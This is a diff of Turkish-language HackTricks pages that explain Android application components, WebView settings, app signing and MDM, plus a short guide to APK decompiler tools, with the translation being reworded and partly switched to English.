- **Binder**: AIDL'nin soyutlaması nedeniyle Binder sınıfının doğrudan kullanımı daha az yaygındır, ancak Binder'ın farklı işlemlerin bellek alanları arasında veri transferini kolaylaştıran bir çekirdek düzeyinde sürücü olduğunu anlamak faydalıdır. Daha fazla bilgi için [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) adresine başvurabilirsiniz.
|
||||
|
||||
## Bileşenler
|
||||
|
||||
Bunlar şunları içerir: **Etkinlikler, Hizmetler, Yayın Alıcılar ve Sağlayıcılar.**
|
||||
Bunlar: **Etkinlikler, Hizmetler, Yayın Alıcıları ve Sağlayıcılar.**
|
||||
|
||||
### Başlatıcı Etkinlik ve diğer etkinlikler
|
||||
|
||||
Android uygulamalarında **etkinlikler**, uygulamanın kullanıcı arayüzünün farklı bölümlerini gösteren ekranlar gibidir. Bir uygulamada birçok etkinlik olabilir, her biri kullanıcıya benzersiz bir ekran sunar.
|
||||
Android uygulamalarında, **etkinlikler** ekranlar gibidir ve uygulamanın kullanıcı arayüzünün farklı bölümlerini gösterir. Bir uygulama birçok etkinliğe sahip olabilir, her biri kullanıcıya benzersiz bir ekran sunar.
|
||||
|
||||
**Başlatıcı etkinlik**, uygulamanın ana giriş kapısıdır ve uygulamanın simgesine dokunduğunuzda başlatılır. Belirli MAIN ve LAUNCHER niyetleriyle uygulamanın manifest dosyasında tanımlanmıştır:
|
||||
**Başlatıcı etkinlik**, bir uygulamanın simgesine dokunduğunuzda başlatılan uygulamanın ana kapısıdır. Uygulamanın manifest dosyasında belirli MAIN ve LAUNCHER niyetleri ile tanımlanmıştır:
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -264,19 +266,19 @@ Android uygulamalarında **etkinlikler**, uygulamanın kullanıcı arayüzünün
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
### Bazı uygulamaların, arka plan hizmetleri gibi kullanıcı arayüzü olmayanlar da dahil olmak üzere bir başlatıcı etkinliğine ihtiyacı yoktur.
|
||||
Tüm uygulamaların bir başlatıcı aktiviteye ihtiyacı yoktur, özellikle de kullanıcı arayüzü olmayanlar, arka plan hizmetleri gibi.
|
||||
|
||||
### Etkinlikler, manifest dosyasında "ihracat" olarak işaretlenerek diğer uygulamalar veya işlemler için erişilebilir hale getirilebilir. Bu ayar, diğer uygulamaların bu etkinliği başlatmasına izin verir:
|
||||
Aktiviteler, manifestoda "exported" olarak işaretlenerek diğer uygulamalara veya süreçlere sunulabilir. Bu ayar, diğer uygulamaların bu aktiviteyi başlatmasına izin verir:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
Ancak, başka bir uygulamadan bir etkinliğe erişmek her zaman bir güvenlik riski oluşturmaz. Endişe, hassas verilerin yanlış şekilde paylaşılması durumunda ortaya çıkar, bu da bilgi sızıntılarına yol açabilir.
|
||||
Ancak, başka bir uygulamadan bir aktiviteye erişmek her zaman bir güvenlik riski değildir. Hassas verilerin yanlış bir şekilde paylaşılması durumunda endişe ortaya çıkar, bu da bilgi sızıntılarına yol açabilir.
|
||||
|
||||
Bir etkinliğin yaşam döngüsü **onCreate yöntemiyle başlar**, UI'yi kurar ve etkinliği kullanıcıyla etkileşime hazırlar.
|
||||
Bir aktivitenin yaşam döngüsü **onCreate yöntemi ile başlar**, UI'yı kurar ve aktiviteyi kullanıcı ile etkileşim için hazırlar.
|
||||
|
||||
### Uygulama Alt Sınıfı
|
||||
|
||||
Android geliştirmede, bir uygulamanın [Application](https://developer.android.com/reference/android/app/Application) sınıfının bir **alt sınıfını** oluşturma seçeneği vardır, ancak zorunlu değildir. Böyle bir alt sınıf tanımlandığında, uygulama içinde ilk olarak örneklenen sınıf haline gelir. Bu alt sınıfta uygulandıysa **`attachBaseContext`** yöntemi, **`onCreate`** yönteminden önce yürütülür. Bu kurulum, uygulamanın geri kalanının başlamasından önce erken başlatma olanağı sağlar.
|
||||
Android geliştirmede, bir uygulama **[Application](https://developer.android.com/reference/android/app/Application)** sınıfının bir alt sınıfını oluşturma seçeneğine sahiptir, ancak bu zorunlu değildir. Böyle bir alt sınıf tanımlandığında, uygulama içinde oluşturulan ilk sınıf olur. Bu alt sınıfta uygulanmışsa, **`attachBaseContext`** yöntemi **`onCreate`** yönteminden önce çalıştırılır. Bu kurulum, uygulamanın geri kalan kısmı başlamadan önce erken başlatma sağlar.
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
|
@ -292,33 +294,33 @@ super.onCreate();
|
|||
}
|
||||
}
|
||||
```
|
||||
### Hizmetler
|
||||
### Services
|
||||
|
||||
[Hizmetler](https://developer.android.com/guide/components/services), kullanıcı arayüzü olmadan görevleri yürütebilen **arka plan işlemcileri**dir. Bu görevler, kullanıcıların farklı uygulamalara geçiş yapmaları durumunda bile devam edebilir, bu nedenle hizmetler **uzun süre çalışan işlemler** için hayati öneme sahiptir.
|
||||
[Services](https://developer.android.com/guide/components/services) **arka plan operatifleri** olarak, kullanıcı arayüzü olmadan görevleri yerine getirebilen yapılardır. Bu görevler, kullanıcılar farklı uygulamalara geçse bile çalışmaya devam edebilir, bu da hizmetleri **uzun süreli işlemler** için kritik hale getirir.
|
||||
|
||||
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler ve bunları başlatmanın temel yolu **Intent'ler**dir, uygulamanın giriş noktası olarak. Bir hizmet, `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri iletimi için `onBind` yöntemi devreye girer.
|
||||
Hizmetler çok yönlüdür; çeşitli şekillerde başlatılabilirler, **Intents** bunları bir uygulamanın giriş noktası olarak başlatmanın birincil yöntemidir. Bir hizmet `startService` yöntemi kullanılarak başlatıldığında, `onStart` yöntemi devreye girer ve `stopService` yöntemi açıkça çağrılana kadar çalışmaya devam eder. Alternatif olarak, bir hizmetin rolü aktif bir istemci bağlantısına bağlıysa, istemciyi hizmete bağlamak için `bindService` yöntemi kullanılır ve veri geçişi için `onBind` yöntemi devreye girer.
|
||||
|
||||
Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verilerini almanın kullanıcının bir uygulayla etkileşimini engellemeden yapılmasıdır. Ayrıca, hizmetler diğer işlemlerin aynı cihazdaki erişimine olanak tanınarak **dışa aktarılabilir**. Bu varsayılan davranış değildir ve Android Manifest dosyasında açıkça yapılandırma gerektirir:
|
||||
Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya kullanıcıların bir uygulama ile etkileşimini engellemeden ağ verisi alma gibi durumları içerir. Ayrıca, hizmetler **dışa aktarma** yoluyla aynı cihazdaki diğer süreçlere erişilebilir hale getirilebilir. Bu varsayılan bir davranış değildir ve Android Manifest dosyasında açık bir yapılandırma gerektirir:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
### Yayın Alıcıları
|
||||
### Broadcast Receivers
|
||||
|
||||
**Yayın alıcıları**, bir iletişim sisteminde dinleyici olarak hareket eder ve birden fazla uygulamanın sistemden gelen aynı iletilere yanıt vermesine olanak tanır. Bir uygulama bir yayın alıcısını **iki temel yol** ile **kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si aracılığıyla. Manifest dosyasında yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kayıt sırasında izinleri de belirtebilir.
|
||||
**Broadcast receivers** mesajlaşma sisteminde dinleyici olarak işlev görür ve birden fazla uygulamanın sistemden gelen aynı mesajlara yanıt vermesine olanak tanır. Bir uygulama **iki ana yolla** **bir alıcı kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si ile. Manifest'te, yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kaydedilme sırasında izinleri de belirtebilir.
|
||||
|
||||
**Intent filtreleri**, kayıt yöntemlerinde de önemli olup, hangi yayınların alıcıyı tetiklediğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** yöntemi çağrılır ve uygulamanın düşük pil uyarısına yanıt vererek davranışını ayarlamasına olanak tanır.
|
||||
**Intent filtreleri**, her iki kayıt yönteminde de kritik öneme sahiptir ve hangi yayınların alıcıyı tetikleyeceğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** metodu çağrılır ve uygulamanın buna göre tepki vermesini sağlar; örneğin, düşük pil uyarısına yanıt olarak davranışını ayarlamak gibi.
|
||||
|
||||
Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, alıcılar önceliklere göre yayına ulaşır. Ancak, herhangi bir uygulamanın kendisini önceliklendirerek bir yayını ele geçirmesine olanak tanıma potansiyel güvenlik riskine dikkat etmek önemlidir.
|
||||
Yayınlar **asenkron** olabilir, tüm alıcılara sırasız ulaşır veya **senkron** olabilir, burada alıcılar belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın kendisini önceliklendirebileceği ve bir yayını kesebileceği potansiyel güvenlik riskini not etmek önemlidir.
|
||||
|
||||
Bir alıcının işlevselliğini anlamak için, sınıfındaki **`onReceive`** yöntemini arayın. Bu yöntemin kodu alınan Intent'i değiştirebilir, özellikle **Sıralı Yayınlar** içinde, Intent'i değiştirebilir veya düşürebileceği için alıcılar tarafından veri doğrulamasının gerekliliğini vurgular.
|
||||
Bir alıcının işlevselliğini anlamak için, sınıfı içinde **`onReceive`** metodunu arayın. Bu metodun kodu, alınan Intent'i manipüle edebilir ve alıcıların veri doğrulama ihtiyacını vurgular, özellikle **Sıralı Yayınlar**'da, bu Intent'i değiştirebilir veya atlayabilir.
|
||||
|
||||
### İçerik Sağlayıcı
|
||||
### Content Provider
|
||||
|
||||
**İçerik Sağlayıcıları**, uygulamalar arasında **yapılandırılmış veri paylaşımı** için önemlidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. İçerik sağlayıcıları, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan verilere erişime olanak tanır. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için önemlidir. Ayrıca, geçici erişim, ayrıntılı erişim kontrolü için `path`, `pathPrefix` ve `pathPattern` gibi özellikleri kullanarak uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla verilebilir.
|
||||
**Content Providers**, uygulamalar arasında **yapılandırılmış verilerin paylaşımı** için gereklidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Uygulamalara, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan verilere erişim sağlar. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için kritik öneme sahiptir. Ayrıca, uygulamanın manifestinde **`grantUriPermission`** ayarları aracılığıyla geçici erişim sağlanabilir ve `path`, `pathPrefix` ve `pathPattern` gibi nitelikler kullanılarak ayrıntılı erişim kontrolü yapılabilir.
|
||||
|
||||
Güvenlik açıklarını önlemek için giriş doğrulaması önemlidir, örneğin SQL enjeksiyonu. İçerik Sağlayıcıları, `insert()`, `update()`, `delete()` ve `query()` gibi temel işlemleri destekler, veri manipülasyonunu ve uygulamalar arasında paylaşımı kolaylaştırır.
|
||||
Girdi doğrulaması, SQL enjeksiyonu gibi güvenlik açıklarını önlemek için son derece önemlidir. Content Providers, veri manipülasyonu ve uygulamalar arasında paylaşımı kolaylaştıran temel işlemleri destekler: `insert()`, `update()`, `delete()`, ve `query()`.
|
||||
|
||||
**FileProvider**, güvenli bir şekilde dosya paylaşımına odaklanan özel bir İçerik Sağlayıcıdır. Klasör erişimini kontrol etmek için belirli özelliklerle uygulamanın manifest dosyasında tanımlanır, `android:exported` ve `android:resource` klasör yapılandırmalarına işaret eder. Hassas verilerin yanlışlıkla açığa çıkarılmasını önlemek için dizinlerin paylaşımında dikkatli olunması önerilir.
|
||||
**FileProvider**, dosyaları güvenli bir şekilde paylaşmaya odaklanan özel bir Content Provider'dır. Erişimi kontrol etmek için belirli niteliklerle uygulamanın manifestinde tanımlanır; bu nitelikler `android:exported` ve klasör yapılandırmalarını gösteren `android:resource` ile belirtilir. Duyarlı verilerin yanlışlıkla ifşa edilmesini önlemek için dizinleri paylaşırken dikkatli olunması önerilir.
|
||||
|
||||
FileProvider için örnek manifest bildirimi:
|
||||
```xml
|
||||
|
@ -330,49 +332,49 @@ android:exported="false">
|
|||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
Ve paylaşılan klasörleri belirtme örneği için `filepaths.xml` dosyasında aşağıdaki gibi belirtilebilir:
|
||||
Ve `filepaths.xml` dosyasında paylaşılan klasörleri belirtmenin bir örneği:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
</paths>
|
||||
```
|
||||
Daha fazla bilgi için şu kaynaklara bakabilirsiniz:
|
||||
- [Android Geliştiriciler: İçerik Sağlayıcılar](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Geliştiriciler: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
For further information check:
|
||||
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
|
||||
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews, Android uygulamalarının içinde **mini web tarayıcıları** gibi davranır, içeriği web'den veya yerel dosyalardan alır. Bunlar normal tarayıcılar gibi benzer risklerle karşılaşır, ancak belirli **ayarlar** aracılığıyla bu riskleri **azaltmanın yolları** vardır.
|
||||
WebView'ler, Android uygulamaları içinde **mini web tarayıcıları** gibidir, içerikleri ya web'den ya da yerel dosyalardan çeker. Normal tarayıcılarla benzer risklerle karşılaşırlar, ancak belirli **ayarlar** ile bu **riskleri azaltmanın** yolları vardır.
|
||||
|
||||
Android, iki ana WebView türü sunar:
|
||||
|
||||
- **WebViewClient**, temel HTML için harikadır ancak JavaScript uyarı işlevini desteklemez, bu da XSS saldırılarının nasıl test edilebileceğini etkiler.
|
||||
- **WebViewClient**, temel HTML için harikadır ancak JavaScript uyarı fonksiyonunu desteklemez, bu da XSS saldırılarının nasıl test edileceğini etkiler.
|
||||
- **WebChromeClient**, tam Chrome tarayıcı deneyimine daha çok benzer.
|
||||
|
||||
Önemli bir nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerezleri paylaşmamasıdır**.
|
||||
Önemli bir nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerez paylaşmamasıdır**.
|
||||
|
||||
İçerik yükleme için ````loadUrl````, ````loadData````, ve ````loadDataWithBaseURL```` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **güvenli olduğundan emin olmak** önemlidir. Güvenlik ayarları, ````WebSettings```` sınıfı aracılığıyla yönetilebilir. Örneğin, ````setJavaScriptEnabled(false)```` ile JavaScript devre dışı bırakılarak XSS saldırıları engellenebilir.
|
||||
İçerik yüklemek için ````loadUrl````, ````loadData````, ve ````loadDataWithBaseURL```` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **kullanım için güvenli** olduğundan emin olmak kritik öneme sahiptir. Güvenlik ayarları, ````WebSettings```` sınıfı aracılığıyla yönetilebilir. Örneğin, JavaScript'i ````setJavaScriptEnabled(false)```` ile devre dışı bırakmak, XSS saldırılarını önleyebilir.
|
||||
|
||||
JavaScript "Bridge", Java nesnelerinin JavaScript ile etkileşimde bulunmasını sağlar ve yöntemlerin güvenliği için Android 4.2'den itibaren ````@JavascriptInterface```` ile işaretlenmesi gerekmektedir.
|
||||
JavaScript "Köprüsü", Java nesnelerinin JavaScript ile etkileşimde bulunmasına olanak tanır ve Android 4.2'den itibaren güvenlik için yöntemlerin ````@JavascriptInterface```` ile işaretlenmesi gerekmektedir.
|
||||
|
||||
İçeriğe erişime izin vermek (````setAllowContentAccess(true)````), WebViews'in İçerik Sağlayıcılara ulaşmasına izin verir, ancak içerik URL'lerinin güvenli olduğu doğrulanmadıkça bir risk oluşturabilir.
|
||||
İçerik erişimine izin vermek (````setAllowContentAccess(true)````), WebView'lerin İçerik Sağlayıcılarına ulaşmasına olanak tanır, bu da içerik URL'leri güvenli olarak doğrulanmadıkça bir risk oluşturabilir.
|
||||
|
||||
Dosya erişimini kontrol etmek için:
|
||||
- Dosya erişimini devre dışı bırakmak (````setAllowFileAccess(false)````), dosya sistemine erişimi sınırlar, belirli varlıklar için istisnalar yapar ve bunların hassas olmayan içerikler için kullanıldığından emin olur.
|
||||
- Dosya erişimini devre dışı bırakmak (````setAllowFileAccess(false)````), dosya sistemine erişimi sınırlar, belirli varlıklar için istisnalarla, bunların yalnızca hassas olmayan içerikler için kullanılmasını sağlar.
|
||||
|
||||
## Diğer Uygulama Bileşenleri ve Mobil Cihaz Yönetimi
|
||||
|
||||
### **Uygulamaların Dijital İmzalanması**
|
||||
|
||||
- Android uygulamaları için **dijital imzalama**, uygulamaların kurulmadan önce **gerçekten kimin tarafından yazıldığını** sağlamak için gereklidir. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendi kendine imzalanabilir veya harici bir CA tarafından onaylanabilir**, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslim edilirken değiştirilmediğinden emin olur.
|
||||
- **Dijital imzalama**, Android uygulamaları için zorunludur, uygulamaların kurulumdan önce **gerçekten yazıldığı** garantisini sağlar. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendinden imzalı veya harici bir CA tarafından sertifikalandırılmış** olabilir, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihazın teslimatı sırasında değiştirilmediğini garanti eder.
|
||||
|
||||
### **Gelişmiş Güvenlik için Uygulama Doğrulaması**
|
||||
### **Geliştirilmiş Güvenlik için Uygulama Doğrulaması**
|
||||
|
||||
- **Android 4.2**'den itibaren başlayarak, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaları kurulmadan önce güvenlik açısından kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar konusunda uyarabilir veya özellikle kötü amaçlı olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır.
|
||||
- **Android 4.2**'den itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaların kurulumdan önce güvenliğini kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar hakkında uyarabilir veya özellikle kötü niyetli olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır.
|
||||
|
||||
### **Mobil Cihaz Yönetimi (MDM)**
|
||||
|
||||
- **MDM çözümleri**, mobil cihazlar için **denetim ve güvenlik** sağlar ve **Cihaz Yönetimi API'si** aracılığıyla gerektirir. Mobil cihazların etkili bir şekilde yönetilmesi ve güvenliğinin sağlanması için bir Android uygulamasının kurulmasını zorunlu kılar. Temel fonksiyonlar arasında **şifre politikalarının zorunlu kılınması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silmeye izin verilmesi** bulunur, mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
|
||||
- **MDM çözümleri**, **Cihaz Yönetimi API'si** aracılığıyla mobil cihazlar için **denetim ve güvenlik** sağlar. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının kurulmasını gerektirir. Ana işlevler arasında **şifre politikalarının uygulanması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silme izni verme** bulunur, bu da mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
@ -383,22 +385,23 @@ if (dpm.isAdminActive(adminComponent)) {
|
|||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
**Try Hard Güvenlik Grubu**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,85 +1,72 @@
|
|||
# APK decompilerleri
|
||||
# APK decompilers
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Her bir araç hakkında daha fazla bilgi için [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)** adresindeki orijinal yazıyı kontrol edin.
|
||||
|
||||
**Her bir araç hakkında daha fazla bilgi için [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr) adresindeki orijinal gönderiyi kontrol edin.**
|
||||
|
||||
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||
|
||||
Öncü GUI Java decompiler olan **JD-Gui**, APK dosyaları içindeki Java kodunu incelemenizi sağlar. Kullanımı oldukça basittir; APK'yi elde ettikten sonra, kodu incelemek için JD-Gui ile açmanız yeterlidir.
|
||||
Öncü GUI Java decompiler olan **JD-Gui**, APK dosyaları içindeki Java kodunu incelemenizi sağlar. Kullanımı oldukça basittir; APK'yı aldıktan sonra, kodu incelemek için JD-Gui ile açmanız yeterlidir.
|
||||
|
||||
### [Jadx](https://github.com/skylot/jadx)
|
||||
|
||||
**Jadx**, Android uygulamalarından Java kodunu decompile etmek için kullanıcı dostu bir arayüz sunar. Farklı platformlarda kullanım kolaylığı nedeniyle önerilir.
|
||||
|
||||
- GUI'yi başlatmak için, bin dizinine gidin ve şunu çalıştırın: `jadx-gui`
|
||||
- Komut satırı kullanımı için, bir APK'yi decompile etmek için: `jadx app.apk`
|
||||
- Bir çıktı dizini belirtmek veya decompile seçeneklerini ayarlamak için: `jadx app.apk -d <çıktı dizini yolu> --no-res --no-src --no-imports`
|
||||
- Komut satırı kullanımı için, bir APK'yı decompile etmek için: `jadx app.apk`
|
||||
- Çıktı dizinini belirtmek veya decompilation seçeneklerini ayarlamak için: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
|
||||
|
||||
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||
|
||||
**GDA**, yalnızca Windows için olan bir araç olup, Android uygulamalarını tersine mühendislik yapmak için kapsamlı özellikler sunar. GDA'yı Windows sistemine kurun ve çalıştırın, ardından analiz için APK dosyasını yükleyin.
|
||||
**GDA**, yalnızca Windows için bir araçtır ve Android uygulamalarını tersine mühendislik için kapsamlı özellikler sunar. GDA'yı Windows sisteminize kurun ve çalıştırın, ardından analiz için APK dosyasını yükleyin.
|
||||
|
||||
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
||||
|
||||
**Bytecode-Viewer** ile birden fazla decompiler kullanarak APK dosyalarını analiz edebilirsiniz. İndirdikten sonra, Bytecode-Viewer'ı çalıştırın, APK'nızı yükleyin ve aynı anda analiz için kullanmak istediğiniz decompiler'ları seçin.
|
||||
**Bytecode-Viewer** ile birden fazla decompiler kullanarak APK dosyalarını analiz edebilirsiniz. İndirdikten sonra, Bytecode-Viewer'ı çalıştırın, APK'nızı yükleyin ve eşzamanlı analiz için kullanmak istediğiniz decompiler'ları seçin.
|
||||
|
||||
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
||||
|
||||
**Enjarify**, Dalvik bytecode'ı Java bytecode'a çevirerek Java analiz araçlarının Android uygulamalarını daha etkili bir şekilde analiz etmesini sağlar.
|
||||
**Enjarify**, Dalvik bytecode'u Java bytecode'a çevirir, bu da Java analiz araçlarının Android uygulamalarını daha etkili bir şekilde analiz etmesini sağlar.
|
||||
|
||||
- Enjarify'ı kullanmak için şunu çalıştırın: `enjarify app.apk`
|
||||
Bu, sağlanan APK'nın Java bytecode karşılığını oluşturur.
|
||||
- Enjarify'yi kullanmak için, şunu çalıştırın: `enjarify app.apk`
|
